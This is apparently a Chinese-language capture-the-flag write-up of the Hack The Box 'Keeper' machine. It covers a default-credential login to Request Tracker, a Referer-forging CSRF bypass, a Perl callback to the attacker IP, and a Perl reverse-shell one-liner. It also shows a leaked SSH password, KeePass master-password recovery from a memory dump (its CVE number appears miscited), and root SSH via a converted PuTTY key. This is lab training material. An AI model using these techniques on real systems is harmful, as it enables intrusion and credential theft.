Easy L-Keeper
信息搜集
访问ip
在hosts添加两行
10.10.11.227 tickets.keeper.htb
10.10.11.227 keeper.htb
访问 tickets.keeper.htb/
访问一下 keeper.htb/, 就是之前跳转的界面
扫端口
先简单扫下端口
PORT STATE SERVICE
22/tcp open ssh
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
25/tcp open smtp
|_smtp-commands: Couldn't establish connection on port 25
37/tcp filtered time
80/tcp open http
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3
125/tcp filtered locus-map
444/tcp filtered snpp
514/tcp filtered shell
1105/tcp filtered ftranhc
1233/tcp filtered univ-appserver
1840/tcp filtered netopia-vo2
2107/tcp filtered msmq-mgmt
2251/tcp filtered dif-port
2399/tcp filtered fmpro-fdal
3827/tcp filtered netmpi
3871/tcp filtered avocent-adsap
5033/tcp filtered jtnetd-server
5357/tcp filtered wsdapi
5560/tcp filtered isqlplus
5877/tcp filtered unknown
5961/tcp filtered unknown
6502/tcp filtered netop-rc
7070/tcp filtered realserver
8254/tcp filtered unknown
9000/tcp filtered cslistener
9002/tcp filtered dynamid
9900/tcp filtered iua
16113/tcp filtered unknown
22939/tcp filtered unknown
49999/tcp filtered unknown
入侵
确定cms是 Best Practical Request Tracker (RT) ,版本 4.4.4+dfsg-2ubuntu1
搜索默认密码
先网上搜索一下有没有默认密码root:password
直接进来了
绕过csrf检测
网上没直接找到什么nday梭哈,先手测下,但是
我的任何修改操作都会报这个错误,bp抓包看看
有可能是只信任来自 keeper.htb 的请求,把referer改为 http://keeper.htb/rt/Admin/Scrips/Create.html
这下好了
创建并触发perl脚本反弹shell(失败)
在翻找后台的时候发现一个脚本管理器
我们在本地监听 1134端口,然后写入poc:
use LWP::UserAgent;
use HTTP::Request;
my $ua = LWP::UserAgent->new;
my $url = 'http://10.10.14.2:1234';
my $request = HTTP::Request->new(GET => $url);
my $response = $ua->request($request);
讲解下面这几项参数:
Condition(触发条件):我设置为 On Create,也就是创建 ticket 时就会执行我们的poc
Action(要执行的脚本):设为 User Defined 即可
Custom condition(自定义条件):不填
Custom action preparation code
Custom action commit code
然后创建ticket触发脚本
成功收到响应
反弹 shell:
perl -e 'use Socket;$i="10.10.14.2";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
但是jb怎么都返回不回来shell…,难道是exec被禁了?
*备注ssh密码
哎我真是服了
点进详细信息
这可能就是一组密码凭据:
lnorgaard:Welcome2023!
ssh 连接
提权
Linux keeper 5.15.0-78-generic
机器上就只有用户 lnorgaard 和 root
linpeas
没有找到什么有用的
RT30000.zip
目录下有个压缩包挺突兀
KeePass CVE-2023-3278
keepass是一个密码管理器
.kbdx 是 KeePass 的数据库文件
当输入主密钥以解锁 KeePass 数据库时,输入框的值会存储在内存中。虽然使用 ‘●’ 字符将其视觉上隐藏,但最后一个字符在内存中短暂可见,并持续存储在那里(CVE-2023-3278,于 2023 年 6 月 3 日发布的 KeePass 2.54 中修复)
工具地址:Releases · JorianWoltjer/keepass-dump-extractor
把它复制下来
dgrødmedfløde
dgrdmedflde
dgrodmedflode
但是都不对
密码推测
看着感觉像个单词,网上搜索下
有没有可能是
rødgrød med fløde
🐂,成功了!
这里面存储着root用户的密码
ssh连接
密码连接(失败)
查看sshd_config,允许root远程登录,但是禁用了密码认证
putty 转 openssh
不过notes里还有存有putty的私钥,把其内容保存为 key.pkk
把 putty 转为 openssh 格式
$ puttygen '/mnt/c/Users/Anonymous/Desktop/key.ppk' -O private-openssh -o id_rsa
连接即可
总结
没看wp就做出来了,不错